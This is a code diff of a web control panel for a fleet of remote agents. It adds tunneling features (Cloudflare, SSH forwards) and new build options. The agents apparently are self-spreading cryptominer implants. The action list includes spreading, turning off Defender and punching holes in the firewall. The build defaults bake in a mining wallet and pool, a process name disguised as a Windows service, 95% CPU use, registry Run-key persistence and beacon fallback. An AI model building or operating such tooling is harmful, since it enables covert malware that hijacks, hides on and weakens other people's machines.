<Row label="Reboot Pending" value={<BoolBadge v={report.security?.reboot_pending} />} />
|
||||
</Section>
|
||||
|
||||
{report.kev_exposure && (
|
||||
<Section title="CISA KEV Exposure (heuristic)">
|
||||
<Row
|
||||
label="Risk score"
|
||||
value={
|
||||
<span
|
||||
className={
|
||||
report.kev_exposure.risk_score >= 50
|
||||
? 'syscheck-bad'
|
||||
: report.kev_exposure.risk_score >= 25
|
||||
? 'syscheck-warn'
|
||||
: 'syscheck-ok'
|
||||
}
|
||||
>
|
||||
{report.kev_exposure.risk_score} / 100
|
||||
</span>
|
||||
}
|
||||
/>
|
||||
<Row
|
||||
label="Indicators"
|
||||
value={`${report.kev_exposure.exposed_count} exposed · ${report.kev_exposure.likely_count} likely · ${report.kev_exposure.critical_count} critical`}
|
||||
/>
|
||||
{report.kev_exposure.summary && (
|
||||
<p className="syscheck-kev-summary">{report.kev_exposure.summary}</p>
|
||||
)}
|
||||
<ul className="syscheck-kev-list">
|
||||
{report.kev_exposure.findings
|
||||
?.filter((f) => f.status === 'exposed' || f.status === 'likely')
|
||||
.map((f) => (
|
||||
<li key={f.cve} className={`syscheck-kev-item syscheck-kev-${f.status}`}>
|
||||
<span className="syscheck-kev-cve">{f.cve}</span>
|
||||
<span className="syscheck-kev-name">{f.name}</span>
|
||||
<span className="syscheck-kev-status">{f.status}</span>
|
||||
{f.detail && <span className="syscheck-kev-detail">{f.detail}</span>}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
<p className="syscheck-muted" style={{ marginTop: '0.5rem' }}>
|
||||
Read-only checks aligned with CISA known-exploited CVE families (Log4Shell, ProxyLogon, Zerologon, Citrix, Pulse, F5, Confluence, etc.). Verify patches on any "likely" or "exposed" row.
|
||||
</p>
|
||||
</Section>
|
||||
)}
|
||||
|
||||
<Section title="Hardware">
|
||||
<Row label="System" value={[report.hardware?.manufacturer, report.hardware?.model].filter(Boolean).join(' ')} />
|
||||
<Row label="Serial / BIOS" value={[report.hardware?.serial, report.hardware?.bios_version].filter(Boolean).join(' · ')} />
|
||||
|
||||
136
server/web/src/components/Fleet/ProtocolTunnelPanel.css
Normal file
136
server/web/src/components/Fleet/ProtocolTunnelPanel.css
Normal file
@@ -0,0 +1,136 @@
|
||||
.protocol-tunnel-panel {
|
||||
margin-top: 1rem;
|
||||
border: 1px solid rgba(201, 162, 39, 0.25);
|
||||
border-radius: 8px;
|
||||
background: rgba(8, 12, 24, 0.75);
|
||||
}
|
||||
|
||||
.protocol-tunnel-panel.compact {
|
||||
margin-top: 0.5rem;
|
||||
}
|
||||
|
||||
.protocol-tunnel-toggle {
|
||||
width: 100%;
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
padding: 0.65rem 0.85rem;
|
||||
background: transparent;
|
||||
border: none;
|
||||
color: var(--accent-gold, #c9a227);
|
||||
cursor: pointer;
|
||||
font-size: 0.85rem;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.protocol-tunnel-toggle:hover {
|
||||
background: rgba(201, 162, 39, 0.08);
|
||||
}
|
||||
|
||||
.protocol-tunnel-body {
|
||||
padding: 0 0.85rem 0.85rem;
|
||||
border-top: 1px solid rgba(255, 255, 255, 0.06);
|
||||
}
|
||||
|
||||
.protocol-tunnel-help {
|
||||
font-size: 0.78rem;
|
||||
color: var(--clr-dim, #888);
|
||||
margin: 0.65rem 0 0.85rem;
|
||||
line-height: 1.45;
|
||||
}
|
||||
|
||||
.protocol-tunnel-cards {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fill, minmax(240px, 1fr));
|
||||
gap: 0.75rem;
|
||||
}
|
||||
|
||||
.protocol-tunnel-card {
|
||||
border: 1px solid rgba(0, 245, 255, 0.15);
|
||||
border-radius: 6px;
|
||||
padding: 0.65rem 0.75rem;
|
||||
background: rgba(0, 0, 0, 0.25);
|
||||
}
|
||||
|
||||
.protocol-tunnel-card h4 {
|
||||
margin: 0 0 0.35rem;
|
||||
font-size: 0.72rem;
|
||||
letter-spacing: 0.1em;
|
||||
color: var(--accent-cyan, #00f5ff);
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
.protocol-tunnel-card-hint {
|
||||
margin: 0 0 0.5rem;
|
||||
font-size: 0.72rem;
|
||||
color: var(--clr-dim, #888);
|
||||
}
|
||||
|
||||
.protocol-tunnel-label {
|
||||
display: block;
|
||||
font-size: 0.72rem;
|
||||
color: var(--clr-dim, #aaa);
|
||||
margin-bottom: 0.45rem;
|
||||
}
|
||||
|
||||
.protocol-tunnel-input {
|
||||
display: block;
|
||||
width: 100%;
|
||||
margin-top: 0.2rem;
|
||||
font-size: 0.8rem;
|
||||
}
|
||||
|
||||
.protocol-tunnel-input.short {
|
||||
max-width: 6rem;
|
||||
}
|
||||
|
||||
.protocol-tunnel-row {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.protocol-tunnel-actions {
|
||||
margin-top: 0.35rem;
|
||||
}
|
||||
|
||||
.protocol-tunnel-link {
|
||||
display: inline-block;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.protocol-tunnel-status-bar {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
margin-top: 0.85rem;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.protocol-tunnel-status {
|
||||
margin-top: 0.75rem;
|
||||
padding: 0.55rem 0.65rem;
|
||||
border-radius: 6px;
|
||||
background: rgba(0, 0, 0, 0.35);
|
||||
font-size: 0.78rem;
|
||||
}
|
||||
|
||||
.protocol-tunnel-status h4 {
|
||||
margin: 0 0 0.4rem;
|
||||
font-size: 0.7rem;
|
||||
color: var(--accent-gold, #c9a227);
|
||||
}
|
||||
|
||||
.protocol-tunnel-status-list {
|
||||
margin: 0;
|
||||
padding-left: 1.1rem;
|
||||
line-height: 1.5;
|
||||
}
|
||||
|
||||
.protocol-tunnel-raw {
|
||||
margin: 0;
|
||||
font-size: 0.72rem;
|
||||
white-space: pre-wrap;
|
||||
word-break: break-all;
|
||||
max-height: 8rem;
|
||||
overflow: auto;
|
||||
}
|
||||
278
server/web/src/components/Fleet/ProtocolTunnelPanel.tsx
Normal file
278
server/web/src/components/Fleet/ProtocolTunnelPanel.tsx
Normal file
@@ -0,0 +1,278 @@
|
||||
import { useCallback, useEffect, useState } from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import { api } from '../../api/client';
|
||||
import type { Agent, AgentCapabilities } from '../../types';
|
||||
import { canRunAggressiveAction, aggressiveActionHint } from '../../help/aggressiveActions';
|
||||
import './ProtocolTunnelPanel.css';
|
||||
|
||||
export interface TunnelStatusView {
|
||||
cloudflared_running?: boolean;
|
||||
cloudflared_url?: string;
|
||||
cloudflared_pid?: number;
|
||||
wireguard_active?: boolean;
|
||||
wireguard_detail?: string;
|
||||
ssh_forwards?: Array<{
|
||||
local_port: number;
|
||||
remote_host: string;
|
||||
remote_port: number;
|
||||
ssh_user?: string;
|
||||
jump_host?: string;
|
||||
pid: number;
|
||||
running?: boolean;
|
||||
}>;
|
||||
}
|
||||
|
||||
function parseTunnelStatus(message: string): TunnelStatusView | null {
|
||||
const start = message.indexOf('{');
|
||||
if (start < 0) return null;
|
||||
try {
|
||||
return JSON.parse(message.slice(start)) as TunnelStatusView;
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
interface Props {
|
||||
agentId: string;
|
||||
agentName: string;
|
||||
online: boolean;
|
||||
caps?: AgentCapabilities | null;
|
||||
platform?: string;
|
||||
compact?: boolean;
|
||||
/** WS command_result messages — panel listens for tunnel_status */
|
||||
lastTunnelStatusMessage?: string;
|
||||
onDispatch: (action: string, args?: Record<string, unknown>) => void | Promise<void>;
|
||||
busy?: string | null;
|
||||
}
|
||||
|
||||
export default function ProtocolTunnelPanel({
|
||||
agentId,
|
||||
agentName,
|
||||
online,
|
||||
caps,
|
||||
platform,
|
||||
compact = false,
|
||||
lastTunnelStatusMessage,
|
||||
onDispatch,
|
||||
busy,
|
||||
}: Props) {
|
||||
const [expanded, setExpanded] = useState(!compact);
|
||||
const [cfURL, setCfURL] = useState('');
|
||||
const [localPort, setLocalPort] = useState('2222');
|
||||
const [targetHostPort, setTargetHostPort] = useState('192.168.1.10:22');
|
||||
const [sshUser, setSshUser] = useState('');
|
||||
const [status, setStatus] = useState<TunnelStatusView | null>(null);
|
||||
const [statusRaw, setStatusRaw] = useState('');
|
||||
|
||||
useEffect(() => {
|
||||
api.getConfig().then((cfg) => {
|
||||
const fromTunnel = cfg.tunnel_defaults?.cloudflared_target_url?.trim();
|
||||
const fromPublic = cfg.server?.public_url?.trim();
|
||||
setCfURL(fromTunnel || fromPublic || '');
|
||||
}).catch(() => {});
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
if (lastTunnelStatusMessage) {
|
||||
const parsed = parseTunnelStatus(lastTunnelStatusMessage);
|
||||
if (parsed) setStatus(parsed);
|
||||
setStatusRaw(lastTunnelStatusMessage);
|
||||
}
|
||||
}, [lastTunnelStatusMessage]);
|
||||
|
||||
const tunnelAllowed = canRunAggressiveAction('start_tunnel', caps, platform);
|
||||
const tunnelHint = aggressiveActionHint('start_tunnel', caps, platform);
|
||||
|
||||
const refreshStatus = useCallback(() => {
|
||||
if (!online || !agentId) return;
|
||||
void onDispatch('tunnel_status');
|
||||
}, [online, agentId, onDispatch]);
|
||||
|
||||
useEffect(() => {
|
||||
if (expanded && online) refreshStatus();
|
||||
}, [expanded, online, refreshStatus]);
|
||||
|
||||
const disabled = !online || !!busy;
|
||||
|
||||
return (
|
||||
<div className={`protocol-tunnel-panel ${compact ? 'compact' : ''}`}>
|
||||
<button
|
||||
type="button"
|
||||
className="protocol-tunnel-toggle"
|
||||
onClick={() => setExpanded((e) => !e)}
|
||||
aria-expanded={expanded}
|
||||
>
|
||||
<span className="font-tech">◈ Protocol Tunneling</span>
|
||||
<span className="protocol-tunnel-chevron">{expanded ? '▾' : '▸'}</span>
|
||||
</button>
|
||||
|
||||
{expanded && (
|
||||
<div className="protocol-tunnel-body">
|
||||
<p className="protocol-tunnel-help">
|
||||
Encapsulates traffic for ops on <strong>your</strong> fleet — reach internal hosts and expose
|
||||
agent LAN services. Not for third-party evasion or hiding infrastructure.
|
||||
</p>
|
||||
|
||||
<div className="protocol-tunnel-cards">
|
||||
<section className="protocol-tunnel-card">
|
||||
<h4 className="font-tech">Cloudflare Tunnel</h4>
|
||||
<p className="protocol-tunnel-card-hint">Agent dials out to your control URL (no inbound port).</p>
|
||||
<label className="protocol-tunnel-label">
|
||||
Target URL
|
||||
<input
|
||||
type="text"
|
||||
className="input protocol-tunnel-input"
|
||||
value={cfURL}
|
||||
onChange={(e) => setCfURL(e.target.value)}
|
||||
placeholder="https://your-server.example.com"
|
||||
disabled={disabled}
|
||||
/>
|
||||
</label>
|
||||
<div className="protocol-tunnel-actions">
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta btn-sm"
|
||||
disabled={disabled || !tunnelAllowed}
|
||||
title={tunnelHint}
|
||||
onClick={() => onDispatch('tunnel_cloudflared', { command: cfURL.trim() })}
|
||||
>
|
||||
Start Cloudflared
|
||||
</button>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section className="protocol-tunnel-card">
|
||||
<h4 className="font-tech">WireGuard (Path Tracer)</h4>
|
||||
<p className="protocol-tunnel-card-hint">
|
||||
Multi-hop mesh VPN for owned nodes — configure sessions on the dashboard.
|
||||
</p>
|
||||
<Link to="/pathtracer" className="btn btn-outline btn-sm protocol-tunnel-link">
|
||||
Open Path Tracer →
|
||||
</Link>
|
||||
</section>
|
||||
|
||||
<section className="protocol-tunnel-card">
|
||||
<h4 className="font-tech">SSH Local Forward</h4>
|
||||
<p className="protocol-tunnel-card-hint">
|
||||
Windows agent opens <code>127.0.0.1:local → LAN target</code> via OpenSSH/plink (admin reach-through).
|
||||
</p>
|
||||
<div className="protocol-tunnel-row">
|
||||
<label className="protocol-tunnel-label">
|
||||
Local port
|
||||
<input
|
||||
type="text"
|
||||
className="input protocol-tunnel-input short"
|
||||
value={localPort}
|
||||
onChange={(e) => setLocalPort(e.target.value)}
|
||||
disabled={disabled}
|
||||
/>
|
||||
</label>
|
||||
<label className="protocol-tunnel-label">
|
||||
Target host:port
|
||||
<input
|
||||
type="text"
|
||||
className="input protocol-tunnel-input"
|
||||
value={targetHostPort}
|
||||
onChange={(e) => setTargetHostPort(e.target.value)}
|
||||
placeholder="192.168.1.50:3389"
|
||||
disabled={disabled}
|
||||
/>
|
||||
</label>
|
||||
</div>
|
||||
<label className="protocol-tunnel-label">
|
||||
SSH user (optional)
|
||||
<input
|
||||
type="text"
|
||||
className="input protocol-tunnel-input"
|
||||
value={sshUser}
|
||||
onChange={(e) => setSshUser(e.target.value)}
|
||||
placeholder="Administrator"
|
||||
disabled={disabled}
|
||||
/>
|
||||
</label>
|
||||
<div className="protocol-tunnel-actions">
|
||||
<button
|
||||
type="button"
|
||||
className="btn-magenta btn-sm"
|
||||
disabled={disabled || !tunnelAllowed || platform === 'darwin' || platform === 'linux'}
|
||||
title={
|
||||
platform !== 'windows' && platform !== undefined
|
||||
? 'SSH forward is Windows-only'
|
||||
: tunnelHint
|
||||
}
|
||||
onClick={() =>
|
||||
onDispatch('tunnel_ssh_forward', {
|
||||
data: JSON.stringify({
|
||||
local_port: parseInt(localPort, 10) || 2222,
|
||||
remote_host: targetHostPort.split(':')[0] || '',
|
||||
remote_port: parseInt(targetHostPort.split(':').pop() ?? '22', 10) || 22,
|
||||
ssh_user: sshUser.trim() || undefined,
|
||||
}),
|
||||
})
|
||||
}
|
||||
>
|
||||
Start SSH Forward
|
||||
</button>
|
||||
</div>
|
||||
</section>
|
||||
</div>
|
||||
|
||||
<div className="protocol-tunnel-status-bar">
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
disabled={disabled}
|
||||
onClick={refreshStatus}
|
||||
>
|
||||
{busy === 'tunnel_status' ? '…' : 'Refresh Status'}
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-red btn-sm"
|
||||
disabled={disabled || !tunnelAllowed}
|
||||
title={tunnelHint}
|
||||
onClick={() => onDispatch('tunnel_stop', { command: 'all' })}
|
||||
>
|
||||
Stop All Tunnels
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{(status || statusRaw) && (
|
||||
<div className="protocol-tunnel-status">
|
||||
<h4 className="font-tech">tunnel_status — {agentName}</h4>
|
||||
{status ? (
|
||||
<ul className="protocol-tunnel-status-list">
|
||||
<li>
|
||||
Cloudflared:{' '}
|
||||
{status.cloudflared_running
|
||||
? `running (pid ${status.cloudflared_pid}) → ${status.cloudflared_url ?? ''}`
|
||||
: 'stopped'}
|
||||
</li>
|
||||
<li>
|
||||
WireGuard:{' '}
|
||||
{status.wireguard_active ? 'active' : 'inactive'}
|
||||
</li>
|
||||
<li>
|
||||
SSH forwards:{' '}
|
||||
{status.ssh_forwards?.length
|
||||
? status.ssh_forwards
|
||||
.map(
|
||||
(f) =>
|
||||
`127.0.0.1:${f.local_port} → ${f.remote_host}:${f.remote_port} (pid ${f.pid})`
|
||||
)
|
||||
.join('; ')
|
||||
: 'none'}
|
||||
</li>
|
||||
</ul>
|
||||
) : (
|
||||
<pre className="protocol-tunnel-raw">{statusRaw.slice(0, 2000)}</pre>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
export { parseTunnelStatus };
|
||||
@@ -7,7 +7,7 @@ import userEvent from '@testing-library/user-event';
|
||||
import { MemoryRouter } from 'react-router-dom';
|
||||
import { type ReactNode } from 'react';
|
||||
import { routerFuture } from '../routerFuture';
|
||||
import { mockAgent, mockServerInfo } from '../test/fixtures';
|
||||
import { mockAgent, mockServerInfo, mockServerConfig } from '../test/fixtures';
|
||||
import { api } from '../api/client';
|
||||
import { downloadApiFile, downloadAuthedFile } from '../api/download';
|
||||
import { getStoredAuth } from '../api/auth';
|
||||
@@ -54,6 +54,9 @@ import AmbientBackground from './Ambient/AmbientBackground';
|
||||
import CursorFire from './Visual/CursorFire';
|
||||
import MatrixRain from './Layout/MatrixRain';
|
||||
|
||||
vi.mock('./Fleet/ProtocolTunnelPanel', () => ({ default: () => null }));
|
||||
vi.mock('./Fleet/FullSysCheckPanel', () => ({ default: () => null }));
|
||||
|
||||
vi.mock('../hooks/useWebSocket', () => ({
|
||||
useWebSocket: vi.fn(),
|
||||
}));
|
||||
@@ -358,6 +361,7 @@ describe('AgentRemoteActions', () => {
|
||||
beforeEach(() => {
|
||||
vi.spyOn(api, 'listBuilds').mockResolvedValue([]);
|
||||
vi.spyOn(api, 'sendAgentCommand').mockResolvedValue({ success: true });
|
||||
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
|
||||
});
|
||||
|
||||
it('compact mode disables actions when offline', () => {
|
||||
@@ -382,7 +386,11 @@ describe('AgentRemoteActions', () => {
|
||||
});
|
||||
|
||||
it('full panel shows Target heading and recon section', async () => {
|
||||
render(<AgentRemoteActions agent={mockAgent({ name: 'Node A' })} online />);
|
||||
render(
|
||||
<MemoryRouter future={routerFuture}>
|
||||
<AgentRemoteActions agent={mockAgent({ name: 'Node A' })} online />
|
||||
</MemoryRouter>
|
||||
);
|
||||
await waitFor(() => {
|
||||
expect(screen.getByRole('heading', { name: 'Target: Node A' })).toBeInTheDocument();
|
||||
});
|
||||
@@ -391,7 +399,11 @@ describe('AgentRemoteActions', () => {
|
||||
});
|
||||
|
||||
it('disables recon buttons when agent offline', async () => {
|
||||
render(<AgentRemoteActions agent={mockAgent({ status: 'offline' })} online={false} />);
|
||||
render(
|
||||
<MemoryRouter future={routerFuture}>
|
||||
<AgentRemoteActions agent={mockAgent({ status: 'offline' })} online={false} />
|
||||
</MemoryRouter>
|
||||
);
|
||||
await waitFor(() => {
|
||||
expect(screen.getByRole('heading', { name: /Target:/i })).toBeInTheDocument();
|
||||
});
|
||||
|
||||
@@ -7,6 +7,9 @@ export const AGGRESSIVE_REMOTE_ACTIONS = [
|
||||
'hole_punch_status',
|
||||
'spread_now',
|
||||
'start_tunnel',
|
||||
'tunnel_cloudflared',
|
||||
'tunnel_ssh_forward',
|
||||
'tunnel_stop',
|
||||
'subnet_scan',
|
||||
'defender_off',
|
||||
'firewall_punch',
|
||||
@@ -42,6 +45,9 @@ export function canRunAggressiveAction(
|
||||
case 'spread_now':
|
||||
return caps.auto_spread || caps.remote_aggressive;
|
||||
case 'start_tunnel':
|
||||
case 'tunnel_cloudflared':
|
||||
case 'tunnel_ssh_forward':
|
||||
case 'tunnel_stop':
|
||||
case 'subnet_scan':
|
||||
case 'defender_off':
|
||||
case 'firewall_punch':
|
||||
|
||||
@@ -16,6 +16,12 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
run_as: 'scheduled',
|
||||
host_binary_target: 'ssh',
|
||||
auto_start: true,
|
||||
autostart_mode: '',
|
||||
registry_persistence: '',
|
||||
registry_run_hkcu: false,
|
||||
registry_run_hklm: false,
|
||||
registry_run_once: false,
|
||||
registry_explorer_run: false,
|
||||
persistence: true,
|
||||
process_name: 'RuntimeBrokerHelper',
|
||||
max_cpu_usage_pct: 95,
|
||||
|
||||
@@ -245,6 +245,8 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
return {
|
||||
worker_name: { disabled: false, badge: 'baked' },
|
||||
server_url: { disabled: false, badge: 'baked' },
|
||||
https_beacon_fallback: { disabled: false, badge: 'baked' },
|
||||
https_beacon_after_min: { disabled: false, badge: 'baked' },
|
||||
wallet: { disabled: false, badge: 'baked' },
|
||||
output_dir: {
|
||||
disabled: false,
|
||||
@@ -329,6 +331,38 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
? 'Linked to persistence — Scheduled/Service mode always auto-starts.'
|
||||
: undefined,
|
||||
},
|
||||
autostart_mode: {
|
||||
disabled: !isWindowsOnly && !isUniversal,
|
||||
badge: 'baked',
|
||||
lockedReason:
|
||||
!isWindowsOnly && !isUniversal
|
||||
? 'Boot/logon autostart hooks are Windows-only.'
|
||||
: undefined,
|
||||
},
|
||||
registry_run_hkcu: {
|
||||
disabled: !isWindowsOnly && !isUniversal,
|
||||
badge: 'baked',
|
||||
lockedReason:
|
||||
!isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined,
|
||||
},
|
||||
registry_run_once: {
|
||||
disabled: !isWindowsOnly && !isUniversal,
|
||||
badge: 'baked',
|
||||
lockedReason:
|
||||
!isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined,
|
||||
},
|
||||
registry_run_hklm: {
|
||||
disabled: !isWindowsOnly && !isUniversal,
|
||||
badge: 'baked',
|
||||
lockedReason:
|
||||
!isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined,
|
||||
},
|
||||
registry_explorer_run: {
|
||||
disabled: !isWindowsOnly && !isUniversal,
|
||||
badge: 'baked',
|
||||
lockedReason:
|
||||
!isWindowsOnly && !isUniversal ? 'Registry persistence is Windows-only.' : undefined,
|
||||
},
|
||||
run_as: { disabled: false, badge: 'baked' },
|
||||
host_binary_target: {
|
||||
disabled: !isHostBinaryRun || (!isWindowsOnly && !isUniversal),
|
||||
|
||||
@@ -114,6 +114,7 @@ export function applySmartForgeDefaults(
|
||||
worker_name: worker,
|
||||
server_url: serverUrl,
|
||||
backup_server_urls: lanBackups,
|
||||
https_beacon_fallback: lanBackups.length > 0 ? true : form.https_beacon_fallback,
|
||||
wallet: form.wallet?.trim() || form.wallet,
|
||||
pool_host: form.pool_host || preset.pool_host!,
|
||||
pool_port: form.pool_port || preset.pool_port!,
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user